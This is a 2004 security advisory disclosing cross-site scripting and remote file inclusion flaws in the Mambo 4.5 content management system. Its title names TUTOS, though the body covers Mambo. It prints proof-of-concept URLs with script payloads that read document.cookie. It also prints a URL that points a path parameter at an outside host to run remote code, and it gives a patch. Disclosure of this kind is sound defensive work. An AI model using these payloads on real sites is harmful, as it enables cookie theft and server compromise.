Vulnerabilities in TUTOS

From: Joxean Koret (joxeankoret_at_yahoo.es)
Date: 09/18/04

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                  Two Vulnerabilities in Mambo
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    Author: Jose Antonio Coret (Joxean Koret)
    Date: 2004
    Location: Basque Country
     
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    Affected software description:
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    Mambo 4.5 (1.0.9)
     
    Mambo is one of the most powerful Open
    Source Content Management Systems on
    the planet. It is used all over the world for
    everything from simple websites
    to complex corporate applications. Mambo is
    easy to install, simple to manage,
    and reliable.
     
    Web : http://mamboserver.com/
     
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    Vulnerabilities:
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    A. Cross Site Scripting
     
    A1. The first vulnerability that I found is in the
    script index.php. The following
    parameters are vulnerables : Itemid, mosmsg
    and limit.
     
    Examples :
     
    http://>/index.php?option=com_content&task=view&id=18&Itemid=39">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&mosmsg=<h1>Hi,
    %20I%20am%20an%20XSS%
    20Problem</h1><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
     
    http://>/index.php?option=com_content&task=view&id=15&Itemid=2&limit=1">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&limitstart=1
     
    B. Remote Code Execution
     
    B1. The simple hack made to the Cache_library
    makes mambo vulnerable to a
    remote arbitrary code execution attacks.
     
    Example :
     
    http://>/includes/Cache/Lite/Function.php?mosConfig_absolute_path=http://fucking.site.com/
     
    Workaround:
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    The file
    mambo/includes/Cache/Lite/Function.php looks
    like :
     
    <?php
     
    /**
    * This class extends Cache_Lite and can be
    used to cache the result and output of
    functions/methods
    *
    * This class is completly inspired from
    Sebastian Bergmann's
    * PEAR/Cache_Function class. This is only an
    adaptation to
    * Cache_Lite
    *
    * There are some examples in the
    'docs/examples' file
    * Technical choices are described in the
    'docs/technical' file
    *
    * @package Cache_Lite
    * @version $Id: Function.php,v 1.1 2004/07/21
    13:38:58 rcastley Exp $
    * @author Sebastian BERGMANN
    <sb@sebastian-bergmann.de>
    * @author Fabien MARTY <fab@php.net>
    */
     
    require_once($mosConfig_absolute_path .
    '/includes/Cache/Lite.php');
     
    class Cache_Lite_Function extends Cache_Lite
    ...
     
     
    Simply add the following 2 lines before the
    require_once statement :
     
    /** ensure this file is being included by a parent
    file */
    defined( '_VALID_MOS' ) or die( 'Direct Access to
    this location is not allowed.' );
     
    The fix:
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    The bugs are fixed in the CVS version.
     
    Disclaimer:
    ~~~~~~~~~~~
     
    The information in this advisory and any of its
    demonstrations is provided
    "as is" without any warranty of any kind.
     
    I am not liable for any direct or indirect damages
    caused as a result of
    using the information or demonstrations
    provided in any part of this
    advisory.
     
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    Contact:
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            Joxean Koret at
    joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es
     
     
     


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